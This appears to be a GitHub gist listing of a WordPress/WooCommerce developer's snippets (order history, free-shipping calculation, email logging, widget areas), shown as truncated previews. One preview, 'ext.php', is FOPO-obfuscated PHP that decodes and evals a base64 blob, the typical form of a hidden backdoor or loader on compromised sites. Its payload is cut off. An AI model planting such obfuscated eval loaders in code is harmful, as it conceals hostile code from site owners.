View wc-order-history-test.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: WooCommerce Order History Test | |
Plugin URI: http://www.damiencarbery.com | |
Description: Quick experiment with adding order history info to My Orders tab. | |
Author: Damien Carbery | |
Version: 0.1 | |
$Id: $ | |
*/ |
View my-dashboard.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* My Account Dashboard | |
* | |
* Shows the first intro screen on the account dashboard. | |
* | |
* This template can be overridden by copying it to yourtheme/woocommerce/myaccount/dashboard.php. | |
* | |
* HOWEVER, on occasion WooCommerce will need to update template files and you | |
* (the theme developer) will need to copy the new files to your theme to |
View rac-calc-free-shipping-min-amount.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Code inspired by http://ibenic.com/ultimate-guide-woocommerce-shipping-zones/ | |
function rac_get_free_shipping_amount( $package ) { | |
$all_zones = WC_Shipping_Zones::get_zones(); | |
$shipping_zone = WC_Shipping_Zones::get_zone_matching_package( $package ); | |
$min_amounts = array(); | |
// Verify that the shipping zone is in $all_zones (zone id 0 isn't!) | |
if ( array_key_exists( $shipping_zone->get_id(), $all_zones ) ) { | |
$methods = $all_zones[ $shipping_zone->get_id() ][ 'shipping_methods' ]; |
View pluck-vs-fields.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Restrict who can access this script. | |
$permitted_ips = array('12.34.56.78'); | |
if (in_array($_SERVER['REMOTE_ADDR'], $permitted_ips) == false) { | |
header('HTTP/1.0 403 Forbidden'); | |
die(); | |
} | |
?> | |
<!DOCTYPE html> | |
<!-- $Id: update-transients.php 4163 2016-12-16 11:36:52Z damien $ --> |
View ext.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//Obfuscation provided by FOPO - Free Online PHP Obfuscator v1.2: http://www.fopo.com.ar | |
$cd61f663832b="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($cd61f663832b( | |
"JHIwMGU4NDlkMmU1ZjRlYzE0NjhhMjYzNTVmMjI0YTJkPSJceDYyIjskdTI3ZDQxMzY2YmFmYzkyYmFmZTA0ODM | |
zMTc0MzllYWU9Ilx4NjUiOyR4Zjk0NDFhNzM0ZGVmNjEwNmU4MDEwYjk3ODUzMTcxOD0iXHg2NiI7JGRhMjRlZmY | |
zODI1ZmRjZGRhYTk4N2M5NDg2ZDA1MzNlPSJceDY3IjskejNhMzBjMGIyZTM3ZjVhMWYzZDVlNjA3NTAwMGE1YzI | |
9Ilx4NmQiOyRxYjlmZTIzMzEzNDc2NzAzZTRhZDk1YWY4OGQyZmRiYj0iXHg2ZiI7JHNhYTc4MDU2NzI4YmU1N2V | |
hYjMxN2E3YWFlZjljZTdiPSJceDZmIjskbjJiNDRkYzM0ODNjZWVlYWU3NjE5MzY5NGRkZmMxZmQ9Ilx4NmYiOyR | |
zMDNiYzc3MTQ0YTJkMTMzZDJjYTAyMWUyY2UyMDc1Mz0iXHg2ZiI7JGU1OTVlOGU3YzA1MWQwZjI3YTgzMTc1NjY | |
wZWFiYzYwPSJceDczIjskemEzY2YyY2Q5MmJjZWQ4ZjRhNzFmZGM2ZmVmOGM2NmI9Ilx4NzMiOyRnNDZkMzZmNTN |
View dcwd-support-request.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// WordPress Administration Bootstrap | |
$admin_file = 'wp-admin/admin.php'; | |
$plugin_dir = dirname( __FILE__ ) . '/'; | |
// Find the wp-admin/admin.php file. | |
$relative_dirs = ''; | |
$num_rel_dirs = 0; | |
while ( !file_exists( $plugin_dir . $relative_dirs .$admin_file ) && $num_rel_dirs < 10 ) { | |
$relative_dirs .= '../'; |
View youtube-iframe.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<iframe width="420" height="315" src="//www.youtube.com/embed/dQw4w9WgXcQ" frameborder="0" allowfullscreen></iframe> |
View archive-pati_videos.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php get_header(); ?> | |
<?php // $Id: archive-pati_videos.php 4154 2016-12-05 10:54:02Z damien $ ?> | |
<div id="main-content"> | |
<div class="container"> | |
<div id="content-area" class="clearfix"> | |
<div id="left-area"> | |
<?php if (is_user_logged_in()) { ?> | |
<?php | |
if ( have_posts() ) : | |
while ( have_posts() ) : the_post(); |
View log-emails-for-debugging.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Log Emails for Debugging | |
Plugin URI: http://www.damiencarbery.com | |
Description: Log emails sent. | |
Author: Damien Carbery | |
Version: $Revision: 4213 $ | |
$Id: log-emails-for-debugging.php 4213 2017-04-11 20:50:44Z damien $ | |
*/ |
View enterprise-pro-extra-home-widget-area.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Enterprise Pro - Extra Widget Area | |
Plugin URI: https://www.facebook.com/groups/genesiswp/permalink/1474446209273238/ | |
Description: Extra widget area on home page for Enterprise Pro (question asked in Genesis WordPress group on Facebook). | |
Author: Damien Carbery | |
Author URI: http://www.damiencarbery.com | |
Version: 0.1 | |
*/ |
OlderNewer